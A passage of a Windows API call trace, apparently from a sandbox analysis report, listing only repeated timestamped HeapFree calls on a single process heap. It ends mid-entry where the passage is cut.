HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.525] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.531] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.533] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.535] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.537] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.539] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.541] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.956] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.957] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.958] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.959] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.961] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.962] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.963] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.964] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.965] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.967] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.968] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.969] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.971] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.972] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.974] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0234.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.061] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.068] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.069] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.075] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.080] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.085] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.099] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.120] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.128] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.132] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.316] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.317] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.318] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.319] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.320] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.321] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.323] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.324] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.326] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0235.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41d24b8 | out: hHeap=0x4f0000) returned 1 [0235.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.331] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.336] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.338] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.339] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.372] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.373] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.379] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0235.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.542] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.543] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.545] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0235.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0235.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0235.547] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0235.548] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0235.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0235.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0235.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0235.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0235.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0235.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0235.553] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0235.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0235.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0235.555] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0235.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0235.563] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.564] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0235.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0235.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0235.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0235.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.239] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.240] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0236.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0236.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x410bca0 | out: hHeap=0x4f0000) returned 1 [0236.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0236.255] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4085f58 | out: hHeap=0x4f0000) returned 1 [0236.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.257] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.261] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0236.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0236.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0236.266] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0236.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.270] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x413efe0 | out: hHeap=0x4f0000) returned 1 [0236.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x412efd8 | out: hHeap=0x4f0000) returned 1 [0236.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0236.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x416eff8 | out: hHeap=0x4f0000) returned 1 [0236.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x415eff0 | out: hHeap=0x4f0000) returned 1 [0236.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x414efe8 | out: hHeap=0x4f0000) returned 1 [0236.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0236.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.844] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4205fb8 | out: hHeap=0x4f0000) returned 1 [0236.845] HeapFree (in: 